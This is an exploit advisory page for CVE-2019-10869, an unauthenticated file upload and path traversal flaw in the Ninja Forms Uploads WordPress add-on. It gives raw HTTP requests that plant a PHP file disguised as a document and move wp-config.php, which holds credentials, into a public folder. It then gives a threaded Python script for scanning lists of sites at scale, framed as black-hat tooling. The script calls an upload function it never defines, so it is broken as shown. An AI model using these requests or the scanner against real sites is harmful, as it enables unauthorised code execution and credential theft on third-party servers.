(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Unauthenticated Arbitrary File Upload

2019.05.12
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-434


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#################################################################################### # Exploit Title: Path Traversal and Unrestricted File Upload in Ninja Forms Uploads # Date: 12-05-2019 # Version: 3.0.22 # Tested on: MacOs / WordPress 5.1.1 # CVE : CVE-2019-10869 # KILL THE NET # # Description: Path Traversal and Unrestricted File Upload exists in the Ninja Forms plugin before 3.0.23 for WordPress (when the Uploads add-on is activated). This allows an attacker to traverse the file system to access files and execute code via the includes/fields/upload.php (aka upload/submit page) name and tmp_name parameters. # POC: Initial file upload Request: ++++++++++++++++++++++++++++++++++++++++++ POST /wp-admin/admin-ajax.php?action=nf_fu_upload HTTP/1.1 Host: testserver.com Content-Type: multipart/form-data; boundary=---------------------------16345274557837 Content-Length: 522 -----------------------------16345274557837 Content-Disposition: form-data; name="form_id" 1 -----------------------------16345274557837 Content-Disposition: form-data; name="field_id" 5 -----------------------------16345274557837 Content-Disposition: form-data; name="nonce" 0f3a997174 -----------------------------16345274557837 Content-Disposition: form-data; name="files"; filename="test.png.doc" Content-Type: application/msword <?php phpinfo(); ?> -----------------------------16345274557837-- ++++++++++++++++++++++++++++++++++++++++++ Response: ++++++++++++++++++++++++++++++++++++++++++ HTTP/1.1 200 OK Server: nginx/1.14.0 "data":{ "files":[ { "name":"test.png.doc", "type":"application\/msword", "tmp_name":"nftmp-14FpD-test.png.doc", "error":0, "size":19 } ] } ++++++++++++++++++++++++++++++++++++++++++ When the form is submitted the initially uploaded tmp file is moved to a new location: ++++++++++++++++++++++++++++++++++++++++++ POST /wp-admin/admin-ajax.php HTTP/1.1 Host: testserver.com Content-Length: 6850 --snip-- "5":{ "value":1, "id":5, "files":[ { "name":"test.(php)", "tmp_name":"nftmp-BNxfG-test.png.doc", "fieldID":5 } ] --snip-- ++++++++++++++++++++++++++++++++++++++++++ The parameter “name” is then “sanitized” by the WordPress function sanitize_file_name, which essentially only removes a set of predefined special characters: ++++++++++++++++++++++++++++++++++++++++++ ninja-forms-uploads/includes/fields/upload.php:124 $file_name = sanitize_file_name(basename($target_file)); sanitize_file_name Removes special characters that are illegal in filenames on certain operating systems and special characters requiring special escaping to manipulate at the command line. Replaces spaces and consecutive dashes with a single dash. Trims period, dash and underscore from beginning and end of filename. It is not guaranteed that this function will return a filename that is allowed to be uploaded. https://developer.wordpress.org/reference/functions/sanitize_file_name/ ++++++++++++++++++++++++++++++++++++++++++ This results in moving the tmp file to its final location: /wp-content/uploads/ninja-forms/1/test.php If the upload folder has not been made non-executable explicitly, which is not the case by default. Path Traversal in tmp_name: when submitting the form it is also possible to traverse the filesystem through the tmp_name parameter as shown below. Keep in mind that tmp files are moved to their new location within the uploads folder! ++++++++++++++++++++++++++++++++++++++++++ POST /wp-admin/admin-ajax.php HTTP/1.1 Host: testserver.com Content-Length: 6850 --snip-- "5":{ "value":1, "id":5, "files":[ { "name":"test.doc", "tmp_name":"../../../../wp-config.php", "fieldID":5 } ] --snip-- ++++++++++++++++++++++++++++++++++++++++++ This results in moving the wp-config.php file to the following location: /wp-content/uploads/ninja-forms/1/test.doc # SIMPLE MASS SCRIPT TO CHECK VULN SITES: # -*- coding: utf-8 -* #!/usr/bin/python ##################################### ##KILL THE NET## #### PS: CHANGE Your Threads pool on line 102 to make script more faster :) ##############[LIBS]################### import requests, re, urllib2, os, sys, codecs, random from multiprocessing.dummy import Pool from time import time as timer import time from urlparse import urlparse import warnings import subprocess from requests.packages.urllib3.exceptions import InsecureRequestWarning warnings.simplefilter('ignore',InsecureRequestWarning) reload(sys) sys.setdefaultencoding('utf8') ########################################################################################## ktnred = '\033[31m' ktngreen = '\033[32m' ktn3yell = '\033[33m' ktn4blue = '\033[34m' ktn5purp = '\033[35m' ktn6blueblue = '\033[36m' ktn7grey = '\033[37m' CEND = '\033[0m' ##################################### ########################################################################################## try: with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f: ooo = f.read().splitlines() except IndexError: print (ktnred + '[+]================> ' + 'USAGE: '+sys.argv[0]+' listsite.txt' + CEND) pass ooo = list((ooo)) ########################################################################################## def ninja_check(url): try: payload = url + '/wp-content/plugins/ninja-forms-uploads-develop/readme.txt' Agent1 = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'} se1 = requests.session() ktn2 = se1.get(payload, headers=Agent1, verify=False, timeout=10) if '= 3.0.23' not in ktn2.content.encode('utf-8'): print (ktn4blue + 'SITE VULN [' + url + ']' + CEND) open('vuln.txt', 'a').write(url+'\n') uploadrce(url) pass else: print (ktn7grey + 'SITE NOT VULN ..... [' + url + ']' + CEND) pass except: pass pass def check(url): try: Agent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'} se = requests.session() ktn1 = se.get(url, headers=Agent, verify=False, timeout=10) if ktn1.status_code == 200: print (ktngreen + 'SEARCHING FOR VULN ..... [' + url + ']' + CEND) ninja_check(url) pass else: print (ktnred + 'DEAD SITE: ' + url + CEND) pass except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout) as a: print (ktnred + 'TIME OUT: ' + url + CEND) check(url) pass except requests.exceptions.ConnectionError as b: print (ktnred + 'DEAD SITE2: ' + url + CEND) pass pass ##################################### def logo(): clear = "\x1b[0m" colors = [36, 32, 34, 35, 31, 37] x = ''' FEDERATION BLACK HAT SYSTEM KILL THE NET FB: fb/KtN.1990 Note! : CVE-2019-10869 CHECKER ''' for N, line in enumerate(x.split("\n")): sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear)) time.sleep(0.05) pass logo() ########################################################################################## def Main(): try: start = timer() ThreadPool = Pool(100) Threads = ThreadPool.map(check, ooo) print('TIME TAKE: ' + str(timer() - start) + ' S') except: pass if __name__ == '__main__': Main()

References:

https://github.com/KTN1990/CVE-2019-10869


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top